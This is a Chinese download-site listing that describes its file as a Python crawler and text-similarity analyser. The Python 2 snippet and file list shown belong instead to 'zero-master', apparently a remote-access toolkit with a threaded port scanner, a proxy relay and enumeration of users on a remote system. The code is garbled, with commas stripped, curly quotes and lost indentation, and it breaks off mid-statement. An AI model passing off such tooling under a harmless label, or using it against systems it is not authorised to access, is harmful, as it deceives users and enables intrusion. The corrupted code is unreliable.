资源简介
python爬虫,以及相似度分析,可以分析两个文本字符串的相似度

代码片段和文件信息
#!/usr/bin/env python
# Remember to call sh()
import socket subprocess as sp sys os random base64 signal time platform
import threading Queue
from thread import start_new_thread
from collections import OrderedDict namedtuple
class Scanner(threading.Thread):
def __init__(self inq outq):
threading.Thread.__init__(self)
self.setDaemon(1)
# queues for (host port)
self.inq = inq
self.outq = outq
def run(self):
while 1:
host port = self.inq.get()
sd = socket.socket(socket.AF_INET socket.SOCK_STREAM)
try:
sd.connect((host port))
except socket.error:
self.outq.put((host port ‘CLOSED‘))
else:
self.outq.put((host port ‘OPEN‘))
sd.close()
def queue_scan(host start=1 stop=1024 nthreads=50):
d = ““
toscan = Queue.Queue()
scanned = Queue.Queue()
scanners = [Scanner(toscan scanned) for i in range(nthreads)]
for scanner in scanners:
scanner.start()
hostports = [(host port) for port in xrange(start stop+1)]
for hostport in hostports:
toscan.put(hostport)
results = {}
for host port in hostports:
while (host port) not in results:
nhost nport nstatus = scanned.get()
results[(nhost nport)] = nstatus
status = results[(host port)]
if status <> ‘CLOSED‘:
d += ‘%d‘ % (port)
return d
class Encryption_objects:
base64_object = False
aes_object = False
rsa_object = False
struct_object = False
aes_string = ““
struct_string = ““
def proxy_server(webserver port conn data buffer_size):
cs = socket.socket(socket.AF_INET socket.SOCK_STREAM)
try:
cs.connect((webserver port))
cs.send(data)
while True:
reply = cs.recv(buffer_size)
if(len(reply) > 0):
conn.send(reply)
print “OK“
else:
break
cs.close()
except Exception as e:
cs.close()
pass
def conn_string(conn data buffer_size):
try:
first_line = data.split(‘\n‘)[0]
url = first_line.split(‘ ‘)[1]
http_pos = url.find(“://“)
if(http_pos == -1):
temp = url
else:
temp = url[(http_pos+3):]
port_pos = temp.find(“:“)
webserver_pos = temp.find(“/“)
if webserver_pos == -1:
webserver_pos = len(temp)
webserver = ‘‘
port = -1
if(port_pos == -1 or webserver_pos < port_pos):
port = 80
webserver = temp[:webserver_pos]
else:
port = int((temp[(port_pos+1):])[:webserver_pos-port_pos-1])
webserver = temp[:port_pos]
proxy_server(webserver port conn data buffer_size)
except Exception as e:
return
def sys_users():
data = ‘‘
try:
import pwd operator
except ImportError:
data = “\n[-] The Module Responsible Is Not Present On The Remote System\n“
return data
all_user_data = pwd.getpwall()
interesting_users = sorted((u
for u in all_user_data
if not u.pw_name.startswith(‘_‘))
key=operator.attrgetter(‘pw_name‘))
username_length = max(len(u.pw_name) for u in interesting_users) + 1
home_length = max(len(u.pw_dir) for u in interesting_users) + 1
fmt = ‘ %-*s %4s %-*s %s\n‘
data += fmt % (
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
....... 4359 2017-11-07 23:51 zero-master\configurations\modules\basic_modules.py
....... 27764 2017-11-07 23:51 zero-master\configurations\modules\connection_handler.py
....... 6557 2017-11-07 23:51 zero-master\configurations\modules\connection_modules.py
....... 1 2017-11-07 23:51 zero-master\configurations\modules\__init__.py
....... 111 2017-11-07 23:51 zero-master\configurations\runnable\start_servers.alias
....... 1 2017-11-07 23:51 zero-master\configurations\__init__.py
文件 30644 2018-12-29 15:41 zero-master\connect.py
....... 16098 2017-11-07 23:51 zero-master\ports.txt
....... 299 2017-11-07 23:51 zero-master\README.md
文件 130 2018-12-29 15:19 zero-master\spyder debug.txt
....... 17281 2017-11-07 23:51 zero-master\zero.py
目录 0 2017-11-07 23:51 zero-master\configurations\modules
目录 0 2017-11-07 23:51 zero-master\configurations\runnable
目录 0 2017-11-07 23:51 zero-master\configurations
目录 0 2018-12-29 15:19 zero-master
----------- --------- ---------- ----- ----
103245 15
相关资源
- 二级考试python试题12套(包括选择题和
- pywin32_python3.6_64位
- python+ selenium教程
- PycURL(Windows7/Win32)Python2.7安装包 P
- 英文原版-Scientific Computing with Python
- 7.图像风格迁移 基于深度学习 pyt
- 基于Python的学生管理系统
- A Byte of Python(简明Python教程)(第
- Python实例174946
- Python 人脸识别
- Python 人事管理系统
- 一个多线程智能爬虫,爬取网站小说
- 基于python-flask的个人博客系统
- 计算机视觉应用开发流程
- python 调用sftp断点续传文件
- python socket游戏
- 基于Python爬虫爬取天气预报信息
- python函数编程和讲解
- 顶点小说单本书爬虫.py
- Python开发的个人博客
- 基于python的三层神经网络模型搭建
- python实现自动操作windows应用
- python人脸识别(opencv)
- python 绘图(方形、线条、圆形)
- python疫情卡UN管控
- python 连连看小游戏源码
- 基于PyQt5的视频播放器设计
- 一个简单的python爬虫
- csv文件行列转换python实现代码
- Python操作Mysql教程手册
评论
共有 条评论